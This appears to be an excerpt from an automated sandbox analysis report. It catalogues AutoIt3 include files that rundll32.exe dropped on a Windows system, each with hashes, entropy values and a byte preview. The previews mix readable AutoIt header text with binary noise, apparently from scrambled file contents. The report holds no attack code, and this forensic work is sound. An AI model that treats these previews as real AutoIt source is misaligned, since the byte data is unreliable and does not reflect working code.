SSDEEP:	384:Aqm8owE5egQ82Jyn0YGsxu79V6LPcZH6I8kn4LTSHSzRDJJAV2raM7Ld4nJy+S:c5PccxumL4n4LT3zRDJQSZvynJyN
MD5:	F78247855E47DF8F468DE05F1ABE6C80
SHA1:	3BBDF774E8169A2F7FE3D18354ABA46457B8338B
SHA-256:	C38D1E810C6F342FC9B39BFBC10E0C4C92502B3E0907317B4CC481E576DFC03F
SHA-512:	9F9F36773E9E8C3CC019FA1EB2C41939089174E9322B46DF0A00D6C25325E80A8C550FBC6C542CD8359064A213FA9CCC7D05C8083C9F5A358CEDA03753D19735
Malicious:	false
Preview:	?..`...\.]......C.p?....n......0d.wW......v\|........c/nn....+ngConstants.au3"..#include "WinAPIFiles.au3"..#include "WinAPIHObj.au3"..#include "WinAPIMem.au3"..#include "WinAPIProc.au3"..#ir..v....[....A.:.x$.U.i(..<.<.<%..qW0.2...{L.....A..,3dh....F`WinAPITheme.au3"....; #INDEX# ==================================================================================================!.^>...........t.$l.z.X+..+.,.w+..6._.U...yH.R.Z...k?n+...+brary for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIDu..-..4.....{.;.jx.Y.M%....(.1l.4........4..O..^..2g76...[.===========================================================================================================....#Region Global Van..a.....\....}.=.w%.z.n...\|....D.]jR.F...*4..O..^..2g76...[.==========================================================================================..Global $__g_hFRDlg = 0, $__g_hFRDll !.S.............t.$l.J.^6..b.t.d8..%.L.F

C:\Program Files (x86)\AutoIt3\Include\WinAPIDlg.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	39300
Entropy (8bit):	6.622331534858584
Encrypted:	false
SSDEEP:	384:Slyl4aYftO5sBI99qcT59YlS0D5d9I0TJaoIJmkSCPa5O+a1yXgdiAvDdqxB7ZVm:DaElUzOyyi+dCxBVIpyaU2EapU2AA
MD5:	E112FDE45E8575B69B5EF416160DA934
SHA1:	ABBF8769E665E3F747DA9875F4EB6A5B85E97538
SHA-256:	D7E87B17AAE64C81D6A4257F37E3712575C688BFA0F215986BFDE37A4CD10F07
SHA-512:	02EAF89E45EB10F5D66BED96334222D50173D401B936E610FB8C8D023040FC1FC274B554A66768F6EB09F3831B3A57035CE0E0A0A787701B954B59B1DC1113F2
Malicious:	false
Preview:	%.......)S.b..z....,.N....HJ,....<.\|`.1LY.._.....e.%..q>L......gConstants.au3"..#include "StructureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIConstants.au3"..#include "WinAPIInr....CeI.#..S..V.7.G..E.J,....Q.g .](..R]...i.d."..T.d..&..."..#include "WinAPIShellEx.au3"..#include "WinAPIShPath.au3"....; #INDEX# ======================================================;L.....P9..<..M.....[.....W6A....B./..m.....P..1.{.v..9g...x....=..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variabj.......wH.o.P..Q.$.L...C.x\......w3.9Ll.uz...m.u.A..E/]..7.........: Yashied, jpm..; =========================================================================================================;L.....P9..<..M.....[....&IY....._.~\|.1N..]L...`.5...$.F..1.......; #VARIABLES# ==============================================================================================================;L.....hS.`..T..R.2 p...J.y\..._.ML..K

C:\Program Files (x86)\AutoIt3\Include\WinAPIError.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12321
Entropy (8bit):	6.347606904910501
Encrypted:	false
SSDEEP:	192:G9v+XEp0qPnHFFrqBbdVM/rx3GdMDyPWazgyvGJ8PlS7jS4aIj3gnYqYS:GB+XEp0wHFOzMz92MaWIgylPrkEf
MD5:	3FD22C657D31A478B77A7D48B6EFFC30
SHA1:	0BF3FC2B847449EFA9DC95A1C4E3704776588BDF
SHA-256:	C23619A1E5A6EA0FE9BED3E4DE59A569DCFD5434AD48278B94957368051FDF09
SHA-512:	38C4D2B8FF361D2048022B709D6D0464B64075B1E5FFB34F5C90CC6CD620E0C30B04A255BF497DA3272DABE0D1C51471D7693CD136F839C5091DAEAD933274E3
Malicious:	false
Preview:	s!....X......t.Q.}lH/..f./..5.....!...iFhd6^.+.cY...D,....gConstants.au3"....; #INDEX# ===================================================================================================mu..........6.D......k.R0,9..t..DFn~O..fW41Ht..".L...T....,ersion : 3.3.16.1..; Description ...: Windows API calls that have been translated to AutoIt functions...; Author(s) .....: Paul .)...Q...g.8.2.>DQ'..jnr..t..PH+!...d.ih_8.Oa;f....[B...G=====================================================================================================================....#Regionp..........i....Y.z ~$.H0!2..W...JK..!..I}...t..V={....[B...G====================================================================================================....; FormatMessage Constant#E...\...x.Y..w.SAi..~.........))..0..Nu...i.r.0v....VO...obal Const $FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200..Global Const $FORMAT_MESSAGE_FROM_STRING = 0x00000400..Global Const $FOR.....n.....Y.4..u.ZUq...dp$..j..ZeJ.

C:\Program Files (x86)\AutoIt3\Include\WinAPIEx.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1921
Entropy (8bit):	7.615991751662597
Encrypted:	false
SSDEEP:	24:QWVsERxMSu87t2SyN/1/bRubZhZSqRYTIlaVj9cVaOWlZaubRuDubRuo+ubRucDO:pWLSl7t2SyNgZRPlaVj9FncFYzS
MD5:	4FA7F02F0FBD81D4C2324B6EA44ACAF7
SHA1:	DDC2CFFDC833626A74CE3CA2BAFD56230390720D
SHA-256:	A44D7E428FA1C18D110DA1075CB486EB92B25C9B437B05B70FFD64E352840CE2
SHA-512:	44E46D614364EFAE36FD6BF76AA99622988F3AD6BE659D8781A9FBCC7AAC1120FA284317B51AD85CE868D76A006633042972DEC4509211F96F15225C9C653838
Malicious:	false
Preview:	O.........3....1..N...4C$./.&..%.......UW..\|..E..u....9..........R..2..4.{.0}...0.(43.EEUE..........Uu..\.m.s....t.9..........}..?.e.s.B....8.e93..h}1...............;.d.~..Q....9..%3.........u..u.g....?"V....&,H...........NP..:.c.S..x..6.2..H....._..3..A.\|.!d...2Mg u.jB\|...........zd..j.i.s....t.9..........}..3..w.!.\|'.2.s1#.E.6./2........6>..v.f.v.....9..........I...\..x.~..H..8.G.....>..L........XX..}.(.{..d....y.._Y.....P...v....S.8y...4Mg u.jBRlUB............%.7./....j.j..QF.......k..+./.L....l^;h{.Zub[S_............%.7./....j.j..QF.......k..+./.L....l^;h{.Zub[So............6.$.<.c...........i.....d.`.QK.....r:..TEU]N#.........H]..8..<...f.].. .........x..,.W..A...\i=u...+-.........zP..l.e.s..B..>.5...W......]..v.r.t..N...?.&3).G.6./2.........TF..1.$.<....6.?...v....U..2..8.<._..<C..6..<+..N.........ZX..v.f.v..X..3.#.........O.0..u.{..^...jC&uf.Gh.FNB........VU..6.f.>..P..e.3..@[......O...:..].`..A...5.jyf..,3.@...

C:\Program Files (x86)\AutoIt3\Include\WinAPIFiles.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	95840
Entropy (8bit):	6.4295289123720485
Encrypted:	false
SSDEEP:	768:ZNCyJ7IsmqrT0I0reSzwnLao1in577wBh1sIY27gp1U4FzHsJkdTS7g0BlNWBFBM:mgZfwdoU7eU4qi4ZEsSoc2G3
MD5:	1DCABB56BF7648486C363262A7E51989
SHA1:	EF590A2FC37B5CDAB93424E50277BA796694C943
SHA-256:	83BCE1139B6533B2BA279DB6CDF20BF786C392653E7F211EE1CE0902B266BE9D
SHA-512:	949A5A7084F4850203A5B47DE0FBB7132D73B51FAFCA7D5C5C3F01E6009D64DE87E246BBBE0370BE5CF24B25CE6E124FD5760A7E13FBEF66795711BF25CF2CDA
Malicious:	false
Preview:	...j;..3^...L..;...,..V.....Y.5.....<;A....Uu.n.h.+.r.^.....eConstants.au3"..#include "MemoryConstants.au3" ; For $PAGE_ constants..#include "WinAPIConv.au3"..#include "WinAPIError.au3"..X.g4..{..=./K.x...!...&Wt..\|.,.....&......Ch...i.OSw.Y.....ZWinAPIShPath.au3"....; #INDEX# =================================================================================================0F]4jE..#..W.\|7.....}b....>..z.w.Z....ft.G...a..C.3. .z.^....4ibrary for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIK..l$V.-<.Q....Y...iO...sy..F......"*Bj...{.^.v.xM#L....Q.E=============================================================================================================....#Region Global [..`6..m....aI._...4..9&Wl..I...5...kz.Z..{.^.v.xM#L....Q.E============================================================================================..Global $__g_iHeapSize = 8388608..;-F]4jE..#..W.\|7.....}R...`j..".d.I....u

C:\Program Files (x86)\AutoIt3\Include\WinAPIGdi.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	204395
Entropy (8bit):	6.487017669334496
Encrypted:	false
SSDEEP:	1536:XK+/MNKfVPwAgqpMXcy9iYsRC8+89X6II6cTScCsHefO36h/+B3gdJ9:XK+kNKf7oF4+8ZPYCsHefOKRI3gdP
MD5:	D5CF433E26B77F16FA59826814D8B031
SHA1:	00667C0CCB91D5593F3290682CC5F970B8C5FFFF
SHA-256:	7933D894BA92CB1371240BB0EB81A3481A1FD2DA1FC75A75B218965634AD967E
SHA-512:	F70B258F5D44D85237D95722F6ACBB67516CCC9EA614370D52D92AE27BACB3FB9DE338CAC97EB147772C0FE5161D96BBDF24B48A2F4419CBFA4E714060301F49
Malicious:	false
Preview:	....1?...}.....i.z....,..t......L.}Ue..Y......A.....q...W...tureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIConv.au3"..#include "WinAPIError.au3"..#include "WinAPIGdiDC.au3"..I..>&...2T...4Q.....-..:......-...x.._M...%........7...include "WinAPIIcons.au3"..#include "WinAPIInternals.au3"..#include "WinAPIMisc.au3"....; #INDEX# ==============================.W.P`w.../K....Y%d....d.i......2...,........v....C(...9...=========================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Descriptio.J.Csp...v.....ty....8..1.....{.}Rb...N....."......g...a..APIGdi.au3..; Author(s) .....: Yashied, jpm..; =================================================================================.W.P`w.../K....Y%d....d.i......2...,........F.....z..h... Variables and Constants....; #CONSTANTS# ======================================================================================.W.P`w.../K....Y%d....d.i.....`.rJ1..

C:\Program Files (x86)\AutoIt3\Include\WinAPIGdiDC.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	20275
Entropy (8bit):	6.137312100068279
Encrypted:	false
SSDEEP:	384:XPH0apcK4DbwrmtltQRSpoX7yemaMtxeda9qHZSO+wUNEspINjov2uvJAKSl3ly:Xv0Mc1F+oaJH45msAvVy
MD5:	07A2583E4C4E140C74C30B0AD9E4DB90
SHA1:	E32FF0A5976C7DE6DFCC9B1953F613C1D9E8B640
SHA-256:	E4E93B269FF567BEF113CE6D861943900F68204A3BE44DBC1DF994ACB4780DA9
SHA-512:	8A97DD3A5AB0F1AB1C97BE8343842A14942E946F0EB93EBE70189EA302776D4DD3DDB6BCF9403DB38D614C1A7A1C7CBB3723A46FC324A183DD86E789474244A5
Malicious:	false
Preview:	........7L'.}<.JG8....J6...2..".....>..C..T.=.u.d.z_..I.....onAPIInternals.au3"....; #INDEX# ================================================================================================...Z....e.y.M. }Yl...Wp%-...(..K.O...d...........8+.gT..Y...&Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAP.......k/N.Pwh4.>..C].8...f........f..O.AWu.j%S....D.....;==============================================================================================================....#Region Global.......+.%...^/."....".9..\|..*.(.........GJu.j%S....D.....;=============================================================================================..; ===============================...Z....e.y.M. }Yl...W@.+...a..V.\...w....GJu.j%S....D.....;================================....; #CONSTANTS# ==============================================================================...Z....e.y.M. }Yl...W@.+...a..V.\...@.

C:\Program Files (x86)\AutoIt3\Include\WinAPIGdiInternals.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29840
Entropy (8bit):	6.5809743161132594
Encrypted:	false
SSDEEP:	384:c8BbRv9TqnQVibzrTWfR9ehpy4IuPcWK+lNx24zH3bm/xStqw5lJjwcPy0JaO4cx:D9sPWGI+cWzT24fxkqQajOE
MD5:	C86D060294001ABE2271062A58EA197D
SHA1:	7E040DCF10B4A3BDFC019DB28282CAC016662681
SHA-256:	4EC2F825DF09D0228510949A420DE1345E40481CE732B4E91B5A66655F57A3C8
SHA-512:	E8C6C5E6922A4E54DF1F91A2E2BBC19E48B4CA1D49D27C2F3AD79A1B8A5CBF8A17AA292F8E67FD80DA9FA712D7EB93D581E240872A963670C4B2E0EE91DA5B8D
Malicious:	false
Preview:	E.b..:.\|..e.....5x....D....Wc.".^rihd.....D...v.6..dc@..e}'g..nAPIHobj.au3"..#include "WinAPIInternals.au3"..#include "WinAPIMem.au3"..#include "WinAPIMisc.au3"....; #INDEX# ================[.1..r.$...;.(...+,.AV....r.,^\|..=1.6..S...\..>.)%.z7...-$.z..=======================================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1k.7...z...r.z...8?.\.D..V Mp.a.JreJi....S...w.zl.gk@..vl,$..ns for the WinAPIxxx.au3..; Author(s) .....: Yashied, jpm..; ===================================================================[.1..r.$...;.(...+,.AV....r.,^\|..=1.6..S...\..>.)%.z7...-$.J..#Region Global Variables and Constants....; #VARIABLES# ========================================================================[.1..r.$...;.(...+,.AV....r.,^\|..=1.6..S..=k..>.)%.z7...-$.z..==============================================================================================================....; #CONSTANTS# [.1..r.$...;.(...+,.AV....r.,^\|..=1.6..

C:\Program Files (x86)\AutoIt3\Include\WinAPIHObj.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13395
Entropy (8bit):	6.42889710184334
Encrypted:	false
SSDEEP:	384:9ZW8ZjWAQpnELSoG7utsNwQsMs8bgnKo+DYsndIF:tZDKtOMs8M+aF
MD5:	13B7BF1FB2E464265B1E09AB94C27539
SHA1:	DDE749712E719BFF4DC028B5C8F8165608BF5252
SHA-256:	F21E42E148F29BD2C95B52755431363BDF0DB97688B1405C1CC62C503625EA50
SHA-512:	278FCB25FC5954D75F0FEC6AD5D34EB63F904A459B5A252533B9C9A9B58966291D4E4DE7F6CE4ECE680B9705B36D19F22F46CAE3D76BCB0B24C82C5F2C519ABE
Malicious:	false
Preview:	.......F.......i.;...uA.....,.0.Q~....&...m.#..W.....C..Q..2..)====================================================================================================================..; Title ........E.K.......&M&...eAO........yb....5..x.Y.;P)....~..`..w.T}on : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIHObj.au3..; Author(s) .....: YashiS.......a.Q....^.o...=.R..k...].%-Z..Ez..1A-.5`.....7..)../..)==========================================================================....#Region Global Variables and Constants....; #VARIAt...V.V.L....^.o...=.R..k...].%-Z..Ez..1A-.5`.....7..)../..)=========================================================..; ===================================================================....V.V.L....^.o...=.R..k...].%-Z..Ez..1A-.5`.....7..)....*.; #CONSTANTS# ==================================================================================================================.....P./........}3...e....?.,.m._\|....g

C:\Program Files (x86)\AutoIt3\Include\WinAPIIcons.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25802
Entropy (8bit):	6.571609287207766
Encrypted:	false
SSDEEP:	384:BrCb0rRL1oah0Ha3sY4g+PNLILVXYVfzZ7TCzvpWl/+ztOk+:VrdQY4R0Zc0RWl/+ztf+
MD5:	BBB31441FE742D1921901552958D666D
SHA1:	32724EE462DF7F8B25A3E21A901FA64378C86C88
SHA-256:	747991F8FBACBA32F94957B5A0678C436762EA1926F130B6EEB4F0C0D70C7A16
SHA-512:	6843D317ED24CA66742CAACB11F7ECB0D2A9AA923C8D5EA6CD0080C05D5BE3C4614B7ECC9D67E0BB26D4880B09FD4A1700056527E1EAFAB7F442E742C8E1B789
Malicious:	false
Preview:	4].z..'.......}..].Z..!.6....!.cS.......j/.Q..]..uusl...o.{Internals.au3"..#include "WinAPIHObj.au3"..#include "WinAPIInternals.au3"....; #INDEX# =========================================..$....7........c.......>.b.....x..-.^.q.8.t{.......j.'?..../==============..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Addic].w#...k......~..P.[..p.>....+.SyB..lLjai2.W..P..kSa.....g3..; Author(s) .....: Yashied, jpm..; ==========================================================================================..$....7........c.......>.b.....x...'n.ox`t )....V.;.Lc...J.ws and Constants....; #VARIABLES# ===============================================================================================..$....7........c..3....>.b.....x..-.^.q.8.t{.......j.'?..../=======================================================================================....; #CONSTANTS# =======================..$....7........c.......>.b.....x..-.^

C:\Program Files (x86)\AutoIt3\Include\WinAPIInternals.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18319
Entropy (8bit):	6.48790890795053
Encrypted:	false
SSDEEP:	384:7CVuoe217SBppd/NZNNCD/NaX+gDGaHJwRrKIss1E:7h0cFZn7pSrx9E
MD5:	676986F38899DE1D51826499793149C8
SHA1:	BFC09A20C7A47BB4A776DDB3CC744A9643809E14
SHA-256:	D5607AD68771C0743183C929612E8F25FF341E097AB8906ACAA79E0BA0B57DFA
SHA-512:	738502090D3056205936F3B3F58EB68C2B808DAE108ECC86B7F55B124CDF2421959F34D8B32AA3E84512DCC22E389DBCBD56B10AD73884223FCE4E9CCD86D49C
Malicious:	false
Preview:	N.g...).o4.......:.d..=D.p.RW.......g...Y.U.g1h[.....+.P..Uonstants.au3"..#include "MsgBoxConstants.au3"....; #INDEX# =====================================================================P^4.@.p..f.G.....i.5..eY.......n...........J.yU..Z..ls..8.....: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants ..m...#.62........<.(..6%.x.^@..&.....f.J.^...jv(.Ta...z;P..: jpm..; ========================================================================================================================P^4.@.p.HV.Y....Y...g..4D.P.OY..6....P.L.X....IR.2A{...[.x..SS# ===================================================================================================================..Global $2<n...#./w.^....r. .5..Un.].DY..w....T.o.H.W.uU..Zf...4n..+=====================================================================================================================....; #CONS9"G...m..f.G.....i.5..eY.......n.....

C:\Program Files (x86)\AutoIt3\Include\WinAPILocale.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21013
Entropy (8bit):	6.243789948560419
Encrypted:	false
SSDEEP:	384:+us9pxGaTUdsXA4olcepYcBKoCz8A4NROHNAD9xQw5vd+jokkqjkWfYi7rx2Sgn3:+us5GIUKQ4oltYYKoCYAwRwNADLQ8vEA
MD5:	37059C609D1FB26BAD107B27314FF4DD
SHA1:	64E6F2196B622BD72978C34E73173C70B52F91FD
SHA-256:	99F96035C5DAC1F7F66D5488F25828E4745B28AAA6E3F95BE73C2E9A92D752B8
SHA-512:	105FE3F660FD9E12C4CDE99315A395CB4D35AECFD2AC1C4FF6A552AA770EA041E764FE7F30688C7AAE46833EAADF185A266B0C24FAB1E735940BDBB966D92FB8
Malicious:	false
Preview:	.U\|6FlMSp..Hk.V.~..W.....V..^.n........ \.d(u)...4...U@.......sringConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ================================================================../h.$..`...3..f.`.Q.UY...I.g<...Bs..i..-ffuS.........]...8b .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, const.Rf&.xGR}..EmS.4....[.D..AT..y.Q.../...5H..Q`h/..Q..H..H...n'Yashied, jpm..; ================================================================================================================../h.$..`...3..V.P.Of....JT..x8`...<...8X.0:5,N..W...UW.k..t$VARIABLES# ===================================================================================================================..../h.$..`...3..f.`.Q.UY...I.g<...Bs..i..-ffuS.........[...i:=================================================================....; #CONSTANTS# =============================================../h.$..`...3..f.`.Q.UY...I.g<...Bs..

C:\Program Files (x86)\AutoIt3\Include\WinAPIMem.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21824
Entropy (8bit):	6.253480243086603
Encrypted:	false
SSDEEP:	384:4E81wIatLkl/io0s6fqbQE+zh4obz+XVuFuHHt/WSHFDDuAKZyGVLUhc:kw8JkyE
MD5:	56E740914178A9B18CC7D0EAA1218FAA
SHA1:	7F7C8FEA2A5EEB36B48F3C17E20953EA9F0A4813
SHA-256:	11DE21C63614169BBBD37F5C68825B2CC2641F4152056C2A42C02648FB4D7AD5
SHA-512:	25C8A955CB34B1E846B8163FC9FC1FCE940E633C8954DFD7D80421BAB8175EF4C8AB2B9276071D1281A78BCD6EC181AFF7A8FEBAF2A584103D4779B49C1E540F
Malicious:	false
Preview:	.=..q...W.iR...U.(....y...v...9c......7.Y..d..L=......^.LMO..====================================================================================================================..; Title ...z..3..qZ.n_..S..P5....y...g..,..K.........L.s2..K....3..o.9....on : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIMem.au3..; Author(s) .....: Yashie.x..m.AA.:...'.b.\|.... ......x.M....J...y..@.{.;\|....z.&.RPO..=========================================================================....#Region Global Variables and Constants....; #VARIAB....=..vG.:...'.b.\|.... ......x.M....J...y..@.{.;\|....z.&.RPO..========================================================..Global $__g_hHeap = 0..; =============================================.i.. ..vG.:...'.b.\|.... ......x.M....J...y..@.{.;\|....z.&.RPO..==================....; #CONSTANTS# ============================================================================================.i.. ..vG.:...'.b.\|..........x.M....J..

C:\Program Files (x86)\AutoIt3\Include\WinAPIMisc.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14537
Entropy (8bit):	6.143374633356679
Encrypted:	false
SSDEEP:	384:qyDpY1Qe6oRlhfURtOrsCyZP6C0vxOEHRux:bI/r8L
MD5:	B40C7B54B5EF2471E18685CF3517EBAF
SHA1:	D188A15E1656047B1EB0CB50B8B6CD73FEAE2EDF
SHA-256:	55B6051A2198BA881967406E6ADD561D9EE9EA1A9A20246EA3B97F74130BB5BC
SHA-512:	E13AE3F63C5F1B3A8E0E8089E61EF079D47309B03F886320AA1023CACF241D21CF42E4E2B712211C16F456FB78017C72EEB42681EB5C0567140BAC86795E6AB2
Malicious:	false
Preview:	M%..HPzi.)..w.R=o6...x...W.(kQu.`.........1..v....v\|.v...k8..ngConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIMem.au3"....; #INDEX# ==========Sq...."y.z..G.e#;e.D!.+.\..;....1..F.N..y..F!..(-T/P...q.=============================================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.]b....9.........(jo7..W2...W..OLo.M..,.....!Y.[...aq.f...V(..unctions for the WinAPIMisc.au3..; Author(s) .....: Yashied, jpm..; ============================================================Sq...."y.z..G.e#;e.D!.+.\..;....1..F.N..y..F!..(-T/P...q.===....#Region Global Variables and Constants....; #VARIABLES# =================================================================Sq...."y.z..G.e#;e.D!.+.\..;....1..F.N..y..F!..5-T/P...q.=====================================================================================================================....; #CONS:......"y.z..G.e#;e.D!.+.\..;....1..

C:\Program Files (x86)\AutoIt3\Include\WinAPIProc.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	76943
Entropy (8bit):	6.547498170638884
Encrypted:	false
SSDEEP:	768:eO5aivmpr33aL0SfihQj0gvtDg2uE87Apxq:lw6Ghng1Dg2uhEpk
MD5:	B05CC88B830AD44745699C1507644D0D
SHA1:	FC7F4FF87118574AFCA8DACBE786C4F55E5243A3
SHA-256:	4AE6FE91B1C6C170557E4EDBE7795A16A19F2022BDB8632F390A51864E16443C
SHA-512:	35FE29373528B2773812CCBC615C338DE5DA7E59D92694658AB262B69B6A9F9E11CFC28DB2D1DF1D8346E988D21A6E30836AC943064D890D0573C6E5E2A843A8
Malicious:	false
Preview:	q...ic29.UI?...{z.}i.x..)@.o"........I.$....~.e\|.....Ju.>..rity.au3"..#include "SecurityConstants.au3"..#include "StringConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIError.au3p..lx50.^B\|H%..0.<[E.g.\|Q.2a.........<9..$..4..+....."_!g..INDEX# =======================================================================================================================..i..qz3\|...rD\._cUDc.L..)'.K.........d.2.....:.........X&V...toIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPIProc.au3..; Author(s) ..\|...%O7/.SB8FR...T.(*.0..4_..V..........Vm..I..a.Rb.......h.P..====================================================================================....#Region Global Variables and Constants.._..&U...nf.>!.LdH.7.0..4_..V..........Vm..I..a.Rb.......h.P..===================================================================..Global Const $tagIO_COUNTERS = 'struct;uint64 ReadOperation....q-#5.N.hJ%...<:co.l..f..P..........

C:\Program Files (x86)\AutoIt3\Include\WinAPIReg.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	35385
Entropy (8bit):	6.341349831469562
Encrypted:	false
SSDEEP:	384:66GktkryCSfj/WlENJn+l7QFgr7tuMcWxZvMpkgfQtejyS81dywv30tkG4u+WUIx:mYfi2NZgjbrVet5
MD5:	04B08E97A97938D2A1AE2056E26F961F
SHA1:	FF864060818D4C886187407C5CFC74FBEEAEB81D
SHA-256:	178AA10C46CCD3CBF012814BCE48D7341E2E0856B9D7B57343F39A3D96548117
SHA-512:	044C0B1B101A3B602B48DD66285103DF16D22E7ACD2A441F84791402EBC6384A41A424D816B26ECB474D8030C28C2B768EBEF76EB85DE3369BE41F26406CD7C9
Malicious:	false
Preview:	...1.j..v.$.R....\./:j..q.bq...^.!.......\..NW....].>8.I/sM.y.gConstants.au3"..#include "StructureConstants.au3"..#include "WinAPICom.au3"..#include "WinAPIError.au3"..#include "WinAPIMem.au...X....x...rJ..(B.\|d;.@).}...`.T_......O..@H.......va.T0...-M=======================================================================..; Title .........: WinAPI Extended UDF Library for Auto.._.$....%.C2..g...7&.]'.s...s.dh................./8..dOW.\|Pvariables, constants and functions for the WinAPIReg.au3..; Author(s) .....: Yashied, jpm..; ===================================...o."..f.w../..(B.\|d;.@).}...`.T_......O..@H.......va.T0...-M============================....#Region Global Variables and Constants....; #VARIABLES# ========================================...o."..f.w../..(B.\|d;.@).}...`.T_......O..@H.......va.T0...-M===========..; =================================================================================================================...o."..f.w../...u.azE.3G..~..~.T_.....

C:\Program Files (x86)\AutoIt3\Include\WinAPIRes.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	38690
Entropy (8bit):	6.442200964962679
Encrypted:	false
SSDEEP:	384:vKXO+J9pWvcbhAfkqgbjrohcGinet2uyGck2zwkXKZ/nILd8k+lWKtklQLgjk0BV:koXsroFv29d5L5y6
MD5:	08B3CADEA5F8B32AF07B939B9E1EA92D
SHA1:	73E8CE75F6D50BCDFF6FCB0D93B35AE9A1495C86
SHA-256:	BBF159C51DB70FD78670C53B600A6BD4BFBD0806E21AFE29CC73177D469C5FB2
SHA-512:	ED057942A953D61A60AD235756D49A9D5A47B7317D4F51C6E90464FF8987776039998A8B4D897A47533E645470BC3351D9CB77CE8771798FE6B9D4B2B3A94C1B
Malicious:	false
Preview:	u....CZ.**......V.w....p.o...w.... .....ca..4..B.do>C..lm.2.IResConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIError.au3"..#include "WinAPIIcons.au3"..#include "WinAPIInternalsx...@;4p.~....._...)....m...p.%..B.^......A-r..:..u.0<`...4p.Nv==========================================================================..; Title .........: WinAPI Extended UDF Library for A#.....3w<e.....'.Z.g....j...~.)..N.i......y?..h..f.#;}n..`9..%al variables, constants and functions for the WinAPIRes.au3..; Author(s) .....: Yashied, jpm..; ================================k.^._..@:x.....:...)....m...p.%..B.^......A-r..:..u.0<`...4p.Nv===============================....#Region Global Variables and Constants....; #VARIABLES# =====================================k.^._..@:x.....:...)....m...p.%..B.^......A-r..:..u.0<`...4p.Nv==============..Global $__g_vVal..; ============================================================================================k.^._..@:x.....:...)....m...p.%..B.i...

C:\Program Files (x86)\AutoIt3\Include\WinAPIShPath.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44816
Entropy (8bit):	6.227487314960598
Encrypted:	false
SSDEEP:	384:ipgMvv4MOWFAYKvCtoooiq3eMNOYsBYsClsngc5WKA18TZ8UtLxRVKZ6DWLxMy4Y:jMvvKM0TSgc6aZ8iquAL9Ie8gH1YGRh
MD5:	054D00A3F108CFEBBC93B0122539D64E
SHA1:	ED5E603BD46BBE007DA962878A5ED82202C1EE47
SHA-256:	DEFFADBA2658A313891B829E07DCA6ACEA72BF98485E38B0A87F54006B0AC63B
SHA-512:	EE1C9FCECE26B695A2C85EB4A85D7C0A06B5DE7F2EC37A9CFA96A32394567E7E2A06B4DB82A3B7C9C521A2D7904057CB8C921F3B1541346A7A4B120AC6176548
Malicious:	false
Preview:	....;..;...F.9.(.fB.....^.'.....8..$.l.#...f....M.z.u+....n.L.aringConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# =============================...jO.c........x....X.rC.[.y.d..Z.?Rj..(...R7M.!x....6.S.(==========================..; Title .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Descripti...y\.~...L.].K.)......-.V..'......qO6...s..L.e.^<#...c.N.\|nAPIShPath.au3..; Author(s) .....: Yashied, jpm..; =============================================================================...jO.c........x....X.rC.[.y.d..Z.?Rj..(...R.z .f....d.N.`nctions list....; #CURRENT# ====================================================================================================...jO.c........H!...2.!?c/..+..8..+.l.....r...OU'Dr.....x...pInExpression..; _WinAPI_ParseURL..; _WinAPI_ParseUserName..; _WinAPI_PathAddBackslash..; _WinAPI_PathAddExtension..; _WinAPI_Pat...2..S.z.].d..t.....:._...+..S..8.k.

C:\Program Files (x86)\AutoIt3\Include\WinAPIShellEx.au3

Download File

